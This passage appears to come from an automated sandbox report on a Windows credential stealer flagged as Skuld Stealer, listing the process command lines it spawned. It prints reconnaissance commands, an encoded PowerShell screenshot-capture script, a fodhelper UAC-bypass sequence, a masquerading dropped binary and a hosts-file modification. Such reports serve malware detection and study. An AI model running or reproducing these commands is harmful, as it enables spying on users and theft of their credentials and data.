Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0x7ff781d20000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:21:27
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:21:27
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:21:27
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7592, Parent PID: 2360

General

Target ID:	35
Start time:	05:21:27
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:21:27
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	05:21:27
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:21:27
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	05:21:27
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:21:27
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:21:27
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:21:28
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:21:28
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	05:21:28
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:21:28
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	05:21:28
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Clipboard
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:21:28
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff70e8b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	05:21:28
Start date:	17/11/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff708870000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:21:28
Start date:	17/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff7cb010000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:21:28
Start date:	17/11/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Imagebase:	0x7ff6156b0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	05:21:28
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	05:21:28
Start date:	17/11/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff792750000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	05:21:30
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
Imagebase:	0xbe0000
File size:	10'375'680 bytes
MD5 hash:	DBBD2127D1030E4C9548FDF7DE9983A7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, Author: Joe Security Rule: JoeSecurity_SkuldStealer, Description: Yara detected Skuld Stealer, Source: 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000036.00000000.1632827829.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, Author: Joe Security Rule: JoeSecurity_SkuldStealer, Description: Yara detected Skuld Stealer, Source: 00000036.00000000.1632827829.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe, Author: Joe Security Rule: JoeSecurity_SkuldStealer, Description: Yara detected Skuld Stealer, Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe, Author: Joe Security
Antivirus matches:	Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	05:21:30
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	05:21:31
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C fodhelper
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	05:21:31
Start date:	17/11/2024
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	fodhelper
Imagebase:	0x7ff6cc440000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	05:21:32
Start date:	17/11/2024
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\fodhelper.exe"
Imagebase:	0x7ff6cc440000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	05:21:32
Start date:	17/11/2024
Path:	C:\Windows\System32\consent.exe
Wow64 process (32bit):	false
Commandline:	consent.exe 6092 324 0000019985E22B80
Imagebase:	0x7ff7bdcd0000
File size:	186'704 bytes
MD5 hash:	DD5032EF160209E470E2612A8A3D5F59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	05:21:33
Start date:	17/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	61
Start time:	05:21:33
Start date:	17/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline"
Imagebase:	0x7ff714350000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	05:21:33
Start date:	17/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2A5B.tmp" "c:\Users\user\AppData\Local\Temp\3pyiazzo\CSC68A32BD75EFB4A1F8C11C6C63FDD8E5.TMP"
Imagebase:	0x7ff7addb0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	05:21:34
Start date:	17/11/2024
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\fodhelper.exe"
Imagebase:	0x7ff6cc440000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	05:21:34
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8100, Parent PID: 2360

General

Target ID:	66
Start time:	05:21:34
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	05:21:34
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
